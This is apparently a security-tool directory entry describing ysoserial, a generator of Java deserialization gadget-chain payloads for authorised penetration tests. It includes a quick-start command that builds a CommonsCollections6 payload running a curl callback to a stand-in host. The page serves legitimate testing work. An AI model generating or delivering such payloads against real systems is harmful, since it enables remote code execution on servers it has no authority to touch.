X-YSO
ysoserial
The standard proof-of-concept tool for generating Java deserialization gadget-chain payloads from libraries already on a target's classpath.
OVERVIEW
ysoserial (github.com/frohoff/ysoserial), originally released by Chris Frohoff and Gabriel Lawrence at AppSecCali 2015, is the tool that put unsafe Java deserialization on the map as a mainstream vulnerability class. Like phpggc for PHP, it doesn't find the deserialization sink itself: it assumes an application already calls readObject() — or an equivalent, such as Java RMI, JMX, or certain JSON/XML libraries in unsafe modes — on attacker-controlled bytes, and generates the serialized object graph, the gadget chain, that turns that call into OS command execution once deserialized.
Each named payload (CommonsCollections1 through 6+, Groovy1, Spring1, Hibernate1, and dozens more) targets magic methods available in a specific library version, so which payload actually works depends entirely on which of those libraries the target has on its classpath — the same fingerprinting problem GadgetProbe, also on this site, exists to solve before wasting requests on chains that can never fire.
USE CASES
Practical use cases
- 01
Generating a CommonsCollections, Spring, or Hibernate gadget-chain payload for a confirmed unsafe readObject() sink.
- 02
Demonstrating actual OS command execution impact from a Java deserialization finding instead of reporting it as theoretical.
- 03
Testing multiple gadget chains in sequence against a fingerprinted classpath to find one that actually fires.
- 04
Generating payloads for Java RMI, JMX, or JNDI-based sinks in addition to plain object streams.
QUICK START
Once a Java application is confirmed to deserialize attacker-controlled input unsafely, to generate the gadget-chain payload that demonstrates actual impact.
- Confirm the target deserializes attacker-controlled bytes unsafely and fingerprint the libraries on its classpath (see GadgetProbe).
- Build ysoserial with Maven, or download a prebuilt release jar.
- Pick the payload type matching a library confirmed present, and generate it with an out-of-band command first (e.g. a DNS/HTTP callback) rather than a destructive one.
- Deliver the serialized payload to the confirmed sink through whatever transport it expects (HTTP body, RMI call, etc.).
- Confirm execution via the callback before escalating to a more invasive command.
java -jar ysoserial.jar CommonsCollections6 "curl http://oob.example/pwned" > payload.binBEFORE YOU RUN IT
What to check before running it
A generated payload is a working remote-code-execution exploit the instant it's created — handle, store, and transmit it under the engagement's evidence-handling and retention rules.
Test with a non-destructive, out-of-band command (DNS/HTTP callback) before ever sending a payload that runs a destructive or persistent command.
A payload succeeding depends on exact library versions and the JDK version on the target; a failed attempt can still crash the target process, so confirm the client accepts that risk.